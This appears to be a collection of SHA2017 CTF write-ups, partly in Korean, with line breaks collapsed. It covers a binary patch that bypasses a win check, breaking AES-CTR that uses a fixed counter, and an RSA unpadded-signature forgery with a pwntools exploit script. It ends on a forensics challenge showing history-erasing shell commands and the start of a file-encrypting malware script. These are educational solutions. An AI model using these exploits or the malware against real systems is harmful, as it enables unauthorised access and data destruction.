```# objdump -b pei-i386 -D flipacoin.exe > flipacoin.exe.txt``````open flipacoin.exe.txt in Notepad++in _WinMain@16 @401652: 75 4e jne 4016a2 <_WinMain@16+0x1a2> first jne found and @4016a6: 75 27 jne 4016cf <_WinMain@16+0x1cf> second jne foundand @4016dd: 0f 85 1a 01 00 00 jne 4017fd <_WinMain@16+0x2fd> third jne foundopen flipacoin.exe in Frhed then edit data @401652 from 754e (jne) to eb52 (jmp) and @4016a6 from 7527 (jne) to eb3b (jmp)< 0000a50: dc00 754e c744 2404 d590 4800 c704 2440 > 0000a50: dc00 eb52 c744 2404 d590 4800 c704 2440 < 0000aa0: 0700 837d dc01 7527 c744 2404 0491 4800 > 0000aa0: 0700 837d dc01 eb3b c744 2404 0491 4800 ```run flipacoin-bypass.exe and press only one enter keyflag found```Z:\>flipacoin-bypass.exe
[*] SHA2017 Junior CTF - Flip a Coin Flip a coin, if it is heads you win, tails you lose! Win 100 times to get the flag
[*] Press enter to flip a coin
[*] You won! Nice job! \o/ Here is your flag:
flag{d754c599d47d9b3e4a376e1d770ca8c1}``` |
> This write up is written in Korean. If anyone who wanna see the English version, I'll consider that but I think given figures and codes are enough to understand :P
# 2017 SHA - [CRYPTO] Stack Overflow
## Key words
- AES-CTR- Python Lambda as counter
## Solution
문제에 다음과 같은 파일을 제공해 줍니다.
```pythonimport os, sysfrom Crypto.Cipher import AES
fn = sys.argv[1]data = open(fn,'rb').read()
# Secure CTR mode encryption using random key and random IV, taken from# http://stackoverflow.com/questions/3154998/pycrypto-problem-using-aesctrsecret = os.urandom(16)crypto = AES.new(os.urandom(32), AES.MODE_CTR, counter=lambda: secret)
encrypted = crypto.encrypt(data)open(fn+'.enc','wb').write(encrypted)```
문제의 목적은 `flag.pdf.enc`를 복원하는 것 입니다.
먼저, CTR 모드의 암복호 과정은 다음과 같습니다.
IV와 Secret이 랜덤하지만 항상 고정적이기 때문에 결국엔 다음과 같이 복호화를 시도 해볼 수 있습니다
```e(k, iv) ^ pt = ctct ^ e(k, iv) = pt```
여기서 하려고 하는 것은 `e(k, iv)`값을 `ct`와 `xor`연산을 한 뒤, 결과가 `pt`처럼 잘 나오는지 보려고 합니다.
`e(k, iv)`값이 항상 고정적이기 때문에 이 값을 추측해봅니다.
블록 단위가 16바이트 이기 때문에 단순히 추측하기는 어렵고 대상이 `PDF`라는 점을 이용하여 첫 16바이트의 암호문을 이용하여 복호를 시도해봅니다.
먼저 `PDF` 구조를 보면 처음에 고정적인 바이트 값이 있습니다.
```% P D F - 1 .25 50 44 46 2D 31 2E
pt = "\x25\x50\x44\x46\x2d\x31\x2e\x00\x00\x00\x00\x00\x00\x00\x00\x00"```
먼저 예측할 수 있는 부분은 제외한 나머지는 `\x00`으로 채웁니다.
그리고 암호화된 `flag.pdf.enc`의 첫 16바이트를 가져오면 다음과 같습니다.
```D6 EA B9 75 30 19 6A 9B 05 2A EF 97 EE 2C 00 DB```
여기서 우리는 `ct`와 `pt`를 구했기 때문에 이 두개를 `xor`하면 나오는 값은 `e(k, iv)`가 됩니다.
지금은 처음 7바이트만 했기 때문에 뒤의 9바이트는 정상적으로 복호화가 되지 않지만 `PDF`의 구조 특성을 이용하여 처음 7바이트를 복구 한뒤 그 이후의 바이트는 구조를 보면서 추측할 수 있습니다.
먼저 7바이트를 이용하여 `flag.pdf.enc`를 복구 하면 다음과 같습니다.
```%PDF-1..........j.<<./PRGoB..._BR./Type..IPTQL...>>.end\B`;...O. <--bj.<<./gYzT..p..es./[email protected] ]./Cou]T*.*..e.ndobj.3..*^BZ*S^./Type .pkVE:.?.rent 2 ..X;.bE..urces <.*%ioRJ..```
4번째 줄에 보면 `end`로 끝나는 글자가 보이는데 이는 `endobj`로 예측할 수 있습니다. 이를 이용하여 다시 변환다음 다음과 같습니다.
```%PDF-1.3 .......j.<<./PageB..._BR./Type /CPTQL...>>.endobj;...O.bj.<<./TypT..p..es./Kids [....O0 ]./Count .*..e.ndobj.3 0 ^BZ*S^./Type /PaVE:.?.rent 2 0 R;.bE..```
이런식으로 계속 맞추다 보면 전체를 다 맞출 수 있고 정상적으로 `flag.pdf`를 얻을 수 있습니다.
## Solution Code
```pythondef sxor(a, b): ret = "" for i in range(0, len(a)): ret += chr( ord(a[i]) ^ ord(b[i])) return ret
# % P D F - 1 . X .predict = "\x25\x50\x44\x46\x2d\x31\x2e\x00\x00\x00\x00\x00\x00\x00\x00\x00"
# p1 = 5c4260, obj = 6f626a : p1 xor obj = 33200apredict = "\x25\x50\x44\x46\x2d\x31\x2e\x33\x20\x0a\x00\x00\x00\x00\x00\x00"
# p2 = 4200, obj = 7320predict = "\x25\x50\x44\x46\x2d\x31\x2e\x33\x20\x0a\x31\x20\x00\x00\x00\x00"
# p3 = 5a2a, obj = 6a0apredict = "\x25\x50\x44\x46\x2d\x31\x2e\x33\x20\x0a\x31\x20\x30\x20\x00\x00"
# p3 = 0e05, obj = 6167predict = "\x25\x50\x44\x46\x2d\x31\x2e\x33\x20\x0a\x31\x20\x30\x20\x6f\x62"
enc = "\xD6\xEA\xB9\x75\x30\x19\x6A\x9B\x05\x2A\xEF\x97\xEE\x2C\x00\xDB"#print sxor("\x0e\x05", "\x61\x67").encode("hex")
key = sxor(predict, enc)
data = open("flag.pdf.enc", "rb").read()i = 0res = ""while i < len(data)-16: res += sxor(data[i*16:i*16+16], key) i += 1
fd = open("flag.pdf", "wb")fd.write(res)fd.close()```
## Result
 |
```# xortool -o strange_text.txtThe most probable key lengths: 1: 19.3% 6: 16.0% 11: 11.9% 13: 12.3% 18: 8.5% 20: 7.4% 22: 7.2% 26: 6.6% 30: 5.7% 33: 5.1%Key-length can be 3*nKey-length can be 5*n100 possible key(s) of length 1:\x13\x12\x11\x10\x17...Found 27 plaintexts with 95.0%+ printable charactersSee files filename-key.csv, filename-char_used-perc_printable.csv``````# cat xortool_out/* | strings| grep flag{6;~82?9~18~*67-~=6?22;09;~7-d~82?9%?oki:l |
> This write up is written in Korean. If anyone who wanna see the English version, I'll consider that but I think given figures and codes are enough to understand :P
# 2017 SHA - Secure Login
## Key words
- RSA- no padding
## Solution
문제 서버에서 동작하는 파이썬 코드를 제공해줍니다.
> d 값이 공개 되지 않아 임의로 getPrime(1024) 2개를 넣어 새롭게 N과 d를 만들었습니다.
```pythonimport SocketServer,threadingimport os
def egcd(a, b): x, y, u, v = 0, 1, 1, 0 while a != 0: q, r = b // a, b % a m, n = x - u * q, y - v * q b, a, x, y, u, v = a, r, u, v, m, n gcd = b return x
p = 122393459642722715193508803338542206847651199104157034101901924367393290934998109518127197921357057965651363461495646489924392985126604671445241184587580086506941330238866801122301302482735364698974701123276213503102347555197266179750135524475763752922326614949176378421073363097486484940695242289746980388463q = 133300336978107715331632886132210333124971739104027612877718732100345095048024966592792491983973801217967424585553062016226983458965633742347459768034630253066926503982017000225921857150785008634550090092282020402493896538543688354044017384128130488713660821776540113235126497327793261484261440017516736459081n = 16315089414291365072804956105526619397880822648675320383852140885712340615983082870173758725944399423152738344037428151973965538500069936447639534890845531199613678184294237628125057316342510982776407156694815184917000970306121657284237906532814224632215370256293838582309545956565555297923401741307034617986383052120572516847847033937942436031190316937147957112647856482484333571961544221830208413154823809272644578945534650200125045586420565951106372262848424400490694183992092842805959840817463523575339840959190636863559402670693269438649657323364034745897181633739006582260227361430715116697654601217320483982503e = 65537
d = egcd(e, (p-1)*(q-1))if d < 0: d = d % ((p-1)*(q-1))
f = open("hackability.flag")flag = f.readline().strip()
# Translate a number to a string (byte array), for example 5678 = 0x162e = \x16\x2edef num2str(num): t = ('%x' % num) if len(t) % 2 == 1: t = '0' + t return t.decode('hex')
# Translate byte array back to number \x16\x2e = 0x162e = 5678def str2num(s): return int(s.encode('hex'),16)
class ThreadedTCPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer): pass
class MyTCPHandler(SocketServer.BaseRequestHandler): def handle(self): while True: self.request.sendall("\nWelcome to the secure login server, make your choice from the following options:\n1. Register yourself as a user.\n2. Collect flag\n3. Sign a message\n4. Exit\nChoice: ") inp = self.request.recv(1024).strip() if inp == '1': self.request.sendall("Pick a username: ") uname = self.request.recv(1024).strip() self.request.sendall("Enter your full name: ") full = self.request.recv(1024).strip() ticket = 'ticket:user|%s|%s' % (uname,full) ticket = pow(str2num(ticket),d,n) ticket = num2str(ticket) self.request.sendall("Your ticket:\n") self.request.sendall(ticket.encode('hex') + "\n") elif inp == '2': self.request.sendall("Enter your ticket: ") ticket = self.request.recv(1024).strip() try: ticket = int(ticket,16) except: ticket = 0 ticket = pow(ticket,e,n) ticket = num2str(ticket) if ticket.startswith('ticket:'): if ticket.startswith('ticket:admin|root|'): self.request.sendall("Here you go!\n") self.request.sendall(flag + "\n") break else: self.request.sendall("Sorry that function is only available to admin user root\n") else: self.request.sendall("That doesn't seem to be a valid ticket\n") elif inp == '3': self.request.sendall("Enter your message, hex encoded (i.e. 4142 for AB): ") msg = self.request.recv(1024).strip() try: msg = msg.decode('hex') except: self.request.sendall("That's not a valid message\n!") continue msg = '\xff' + msg # Add some padding at the start so users can't use this to sign a ticket if str2num(msg) >= n: self.request.sendall("That's not a valid message\n!") continue signed = pow(str2num(msg),d,n) signed = num2str(signed) self.request.sendall("Your signature:\n") self.request.sendall(signed.encode('hex') + "\n") elif inp == '4': self.request.sendall("Bye!\n") break else: self.request.sendall("Invalid choice!\n")
SocketServer.TCPServer.allow_reuse_address = Trueserver = ThreadedTCPServer(("0.0.0.0", 12345), MyTCPHandler)server_thread = threading.Thread(target=server.serve_forever)server_thread.daemon = Trueserver_thread.start()server.serve_forever()```
기능은 다음과 같습니다.
```1. 티켓 생성 - username, fullname을 입력 받아 다음의 형태를 만듬 - ticket:user|username|fullname - 위 티켓을 암호화2. 유저 인증 - 암호화된 티켓을 전송 받아 복호화. 복호화 된 값이 아래와 같다면 플래그를 출력 - ticket:admin|root|3. 메시지 암호화 - 유저가 제공한 메시지의 맨 앞 부분에 "\xff"를 넣어 암호화```
여기서 문제가 생기는 부분은 암호화 시에 패딩이 존재 하지 않는다는 점 입니다.
따라서, 다음과 같은 연산이 가능합니다.
```x = y * zx^d = (y * z)^d = y^d * z^d```
여기서 x, y, z를 각각 root_ticket, user_ticket, message라고 가정하면 다음과 같습니다.
```x = root_ticket = ticket:admin|root|y = user_ticket = ticket:user|hackability|{something}z = message = \xff + message
x = y * zroot_ticket = user_ticket * message-> root_ticket / user_ticket = message-> root_ticket * user_ticket^-1 = message```
`root_ticket`과 `user_ticket`은 고정적이고 message는 처음에 `\xff`으로 시작하기 때문에 `root_ticket * user_ticket^-1`이 `\xff`로 시작하는 값을 찾으면 결론적으로 x, y, z를 모두 찾을 수가 있습니다.
`\xff`로 시작하는 값을 구하기 위해 `{something}`부분을 무작위 대입을하여 `\xff`로 시작하는 값을 찾습니다.
주의할점은 message의 값은 처음 `ff`이후 부터의 값 입니다.
우리가 플래그를 얻기 위해 서버에 전달해야 하는 값은 `x^d`이기 때문에 패딩이 없기 때문에 발생했던 처음 연산에 의해 `x^d`를 구할 수 있습니다.
```x^d = y^d * z^droot_ticket^d = user_ticket^d * message^d```
따라서 위에서 구한 `user_ticket`과 `message`를 서버에 전달하여 암호화된 값을 받으면 각각 `user_ticket^d`와 `message^d`가 되기 때문에 이 두개를 곱하면 결국엔 우리가 필요했던 값이 됩니다.
> root_ticket^d = user_ticket^d * message^d
## Solution code
```python# Goal# ticket:admin|root|
# My Ticket# ticket:user|hackability|{}
import itertoolsfrom pwn import *
def egcd(a, b): x, y, u, v = 0, 1, 1, 0 while a != 0: q, r = b // a, b % a m, n = x - u * q, y - v * q b, a, x, y, u, v = a, r, u, v, m, n gcd = b return x
n = 16315089414291365072804956105526619397880822648675320383852140885712340615983082870173758725944399423152738344037428151973965538500069936447639534890845531199613678184294237628125057316342510982776407156694815184917000970306121657284237906532814224632215370256293838582309545956565555297923401741307034617986383052120572516847847033937942436031190316937147957112647856482484333571961544221830208413154823809272644578945534650200125045586420565951106372262848424400490694183992092842805959840817463523575339840959190636863559402670693269438649657323364034745897181633739006582260227361430715116697654601217320483982503
# root = hackability * msg# -> root * hackability^-1 = msgroot = "ticket:admin|root|"hackability = "ticket:user|hackability|"msg = ""
r = int(root.encode("hex"), 16)
table = "abcdefghijklmnopqrstuvwxyz0123456789"comb = itertools.permutations(table,5)for _c in comb: c = "".join(_c) h = int((hackability + c).encode("hex"), 16) #msg = hex( (r * egcd(h, n)) % n )[2:] msg = hex( (r * egcd(h, n)) % n)[2:]
#print "[*] Try : {}".format(hackability + c)
# msg must start with ff # msg must be even-string # msg must less than N if len(msg)%2 == 0 and msg[:2] == "ff" and int(msg, 16) < n: print "[*] found it : {}".format(hackability + c) hackability += c print msg break
# remove first "ff"msg = msg[2:]
# root^d = hackability^d * msg^d
server = "0.0.0.0"port = 12345p = remote(server, port)print p.recv()
p.sendline("3")print p.recv()
p.sendline(msg)print p.recv()
print "[*] encrypt message"recv = p.recv()enc_msg = recv.split("\n")[0]print enc_msg
p.sendline("1")print p.recv()p.sendline(hackability.split("|")[1])print p.recv()p.sendline(hackability.split("|")[2])print p.recv()
print "[*] encrypt ticket"recv = p.recv()enc_hackability = recv.split("\n")[0]print enc_hackability
print "[*] got enc_root = encrypt ticket * encrypt message"enc_root = hex( (int(enc_msg, 16) * int(enc_hackability, 16)) % n )[2:]print enc_root
p.sendline("2")print p.recv()p.sendline(enc_root)print p.recv()```
## Result
```hackability@ubuntu:~/ctfing/2017_SHA/crypto/200$ cat hackability.flaghackability{THIS_IS_YOUR_FLAG_:P}hackability@ubuntu:~/ctfing/2017_SHA/crypto/200$ python sol_200.py[*] found it : ticket:user|hackability|acd70ff9dc420d9562caafa3ed89e72628943ee6df70bc86dc7a9ede8df7eb033f7ed72fb4b16cf8e1ab2f98e8f20ce962f745d548683a208f902f00a70c747904b6a34566d9457a078743db6e3a26f0149d3717c7ae4a6660c8584874bbcf6e8f8670214fc50a95270473549280f8e0d4632ef16caa8b972ad113e151a7fa1512cb61b751a999c3d084776d8be66f6d239b7c8dd1d6f6f3c62dc6cf2f9feea5867b3edcbfb0f16586d7d9170c7c807e6c1038dbacecbd6fe06ea38119a4037018de13c9d7450f237eb9e5c0a201b243afdb3f028f93523843d1f933522a866742d120dac98e43b3240c7674592da7a8459a5da92979bcffc3a932d969c3520dd7e[+] Opening connection to 0.0.0.0 on port 12345: Done
Welcome to the secure login server, make your choice from the following options:1. Register yourself as a user.2. Collect flag3. Sign a message4. ExitChoice:Enter your message, hex encoded (i.e. 4142 for AB):Your signature:
[*] encrypt message72ec5f8b741d1a5d8714ec02a3101e60afb6b6f5890cc5bd8b0038638506f20851c497a3f44cf0ac7f9d76e5aa8c23df55a9180dc66a185371d885ed8f453a200ea690659ba5c0333dffa8c0591fae073233b6785d107ec9defe783776c6e254d91611d4813a446577a6d1009575c0e07ab040583cadf4dd472ede3b2695beb34308c97d09e6a54a8ad6866e283df1e0388a6925af435f19467182721759115ea7da5fc86fea7950070d23b0986f84f0c512412c6adc08452190d736c7259b9bcdc5351b29584a96b9242e438aea26f8f42217d4234115d0b7b10d1736da4618f1a2f7bf25679f8b73ff996b9984df623573d96fae0263d18736c36456056bfbPick a username:Enter your full name:Your ticket:
[*] encrypt ticket358b90fc0d49df231c08d4caf0e86c0b2bc6dcf63c576fae08ae8c35508c52ef4f3b81c676d105ecd34a7a63914d8bae3dce3dcee5cdb40e3f8bfcfc6a114fd215b672e03784d0d3ae584a56ee5cd41e262b1785f3b80e5b3ff28da029f27950e8e1c72159ef8572b931b155c5a8e8ef53fb706a9fe2bc9c78c324213f00c901ed029c254c57fbd075c5f54b47909c8fcc4ffa163b2d6b8d0062a5797a97cad53231988410943d6bb173b30603acefe78369994aaa6f38743659b2ddff722beb3a7b02130c1e45c1896e52bfe95c8f777129fd070c9551d6ade9bb44fffea6a6473d05cc63d80567ea498b8ff2391a155fd4449bac677d19261eaaf4461fe777[*] got enc_root = encrypt ticket * encrypt message6eb5bb5b499234e7368596a4ff6b91a3e7740d1e0192553b42c6a9a1abe0bcf2c13e142299466f62fe5c10170f7918ee10178afd022a82a58930c116ecf9500aef9707604ec8e631b68b57baf833c3707dd4cc408d45e9ee6927e3cb2d02a992847ed6cacd2cd6826f666237d2581cf9651ac45c6a80ec00685d4bbbef4846c791e7d875f50f850eb8ca9b8cff15ae58076c1705dd316b6c3997ed2b5d947693d2b157719471fa7edd5ff8f86ec378d69398f6fbac0613179aad1786cf4e31dc71183d9c5bbad572a4df36466bcea314cbd1cb62d24911270c0b7108dbb9f385e9bf10edf62dfff2fd27ebbba0cd5cb3525e1f73fdd22dc08213e93f8ef0ed00Enter your ticket:Here you go!hackability{THIS_IS_YOUR_FLAG_:P}
[*] Closed connection to 0.0.0.0 port 12345``` |
# Stack Overflow`100pts` `155 solves` `Crypto`
-----
* *@author*: derbenoo * *@note*: The original write-up is located [here](https://derbenoo.github.io/ctf/2017/08/12/sha2017_ctf_stack_overflow/)
-----
## Challenge Description
I had some issues implementing strong encryption, luckily I was able to find a nice example on stackoverflow that showed me how to do it.
`stackoverflow.tgz b245e83f0fb65763b3c1b346813cb2d3`
## Overview
The archive contains a file named `flag.pdf.enc` which is just composed of random bytes and a python script called `encrypt.py`:
``` Pythonimport os, sysfrom Crypto.Cipher import AES
fn = sys.argv[1]data = open(fn,'rb').read()
# Secure CTR mode encryption using random key and random IV, taken from# http://stackoverflow.com/questions/3154998/pycrypto-problem-using-aesctrsecret = os.urandom(16)crypto = AES.new(os.urandom(32), AES.MODE_CTR, counter=lambda: secret)
encrypted = crypto.encrypt(data)open(fn+'.enc','wb').write(encrypted)```
So we specify an input file (in our case `flag.pdf`) which is encrypted by the python script using AES. We look up the `AES.new` function [here](http://pythonhosted.org/pycrypto/Crypto.Cipher.AES-module.html#new) to understand the initialization:* We choose 32 bytes of random for the AES key* We use AES in counter mode* We use a lambda expression to create a function that returns a series of _counter blocks_ based on a block of 16 randomly chosen bytes
Wait, the last point seems pretty odd. The function is supposed to implement a *counter*, instead the same 16 bytes are repeated infinitely. To explain why this is a problem and how we can leverage this behavior to reconstruct the encrypted PDF file, we first have to explain how the counter mode works.
## Counter Mode
Block ciphers (such as AES) are able to encrypt or decrypt a single block of fixed length. Therefore, we need to specify modes of operation that dictate how inputs that are longer than a block size are being processed. Every mode of operation chains together multiple applications of the block cipher transformation to process larger inputs. The **counter mode** does this by successively encrypting a *counter* value and using the resulting ciphertext blocks as a keystream, which essentially turns the block cipher into a stream cipher. The plaintext is then simply XORed with the keystream for encryption. Decryption works analogously as we only need to reproduce the same keystream and can perform an XOR on the ciphertext to recover the plaintext.
The counter is typically implemented by using a publicly known initialization vector and incrementing it:
* Ek: Block cipher (e.g., AES) with key _k_* m1, m2, ... : Plaintext message blocks* c1, c2, ... : Resulting ciphertext blocks* IV: Initialisation vector used for the counter
Note that by turning the block cipher into a stream cipher we have to make sure that the security requirements for a stream cipher are met. The most important requirement is that the keystream is not allowed to ever repeat itself. Otherwise, an attacker can XOR the ciphertext parts where the key repeats itself and obtain the XOR of the two plaintexts:
```C1= P1 XOR KC2= P1 XOR K
C1 XOR C2= (P1 XOR K) XOR (P2 XOR K)= P1 XOR P2
```
The Python package `Crypto` allows us to specify a custom counter function. Unfortunately, this freedom can be abused to implement very insecure counter functions such as `counter=lambda: secret`. With `secret` being only 16 bytes long, we basically subverted the whole security of AES and reduced it to a repeating 16 byte long stream cipher key. All we have to do now is to XOR the ciphertext parts that were encrypted under the same key and guess some plaintext. While guessing plaintext is pretty pointless against a properly used stream cipher, it makes sense in this scenario since we have a method of validating our guess. Let's use the example from above and pretend we are guessing what P1 could be. Since we have access to `P1 XOR P2`, we can check our guess (let's call it P1') by calculating `P1' XOR (P1 XOR P2)` and see whether P2 makes sense or not. If so, we probably guessed the correct plaintext for P1. Once we successfully did that, we can extract the key by simple calculating `C1 XOR P1= K`
## Guessing some plaintext using [OTP PWN](https://github.com/derbenoo/otp_pwn)
The process described in the above section is greatly facilitated by the [otp_pwn](https://github.com/derbenoo/otp_pwn) utility, which allows us to interactively check plaintext guesses (and do other cool stuff like crib dragging). We known from the source code that the length of the repeating key is 16 bytes, which is all the information we need to start using the tool:
`python otp_pwn.py flag.pdf.enc 16`
We are presented with an overview of the encrypted file:
The file contents is split up in blocks of the size of the key length, so each block is encrypted with exactly the same key. This allows us to quickly check whether a plaintext guess was correct as we can see whether the resulting key changes produce valid plaintext in the other blocks or not.
So, we know from the filename that we are probably dealing with an encrypted PDF file. We know that most PDF files start with `%PDF-1.`, so let's apply that plaintext guess with the command `:p 0 %PDF-1.`:
Looks like we guessed correctly! The tool shows the key that resulted from the plaintext input and highlights in bold all positions that the key has been applied to. We study the PDF file specification a bit more and quickly find out that the position 21 and 22 are probably the beginning of the `/Page` directive. So we type in the command `:p 23 age` and indeed, the rest of the blocks decrypt correctly as well. We continue guessing plaintext where we already decrypted the start of a command and are quickly able to recover each part of the key: `f3 ba fd 33 1d 28 44 a8 25 20 de b7 de c0 6f b9`. We dump the decrypted file using the command `:d flag.pdf` and take a look:
Agreed, Stack Overflow is a nice place but always make sure you understand what you are copy and pasting!
The flag is:`flag{15AD69452103C5DF1CF61E9D98893492}` |
# Intro> My daughter Kimberly her computer got hacked. Now she lost all her favorite images. Can you please help me recover those images?
We received image of filesystem, where at first glance were only saved encrypted photos.
But in home directory there were also two hidden files: one `.bash_history` and another `...`.
```unset HISTFILls -lapwdchmod +x ..../... Hb8jnSKzaNQr5f7pls -Rla```
```#!/usr/bin/env python
import random, string, sys, osfrom time import timefrom Crypto.Cipher import AESimport base64from PIL import Imagefrom PIL import ImageFontfrom PIL import ImageDrawfrom PIL import ImageFilterimport textwrapfrom io import BytesIO
IMG="""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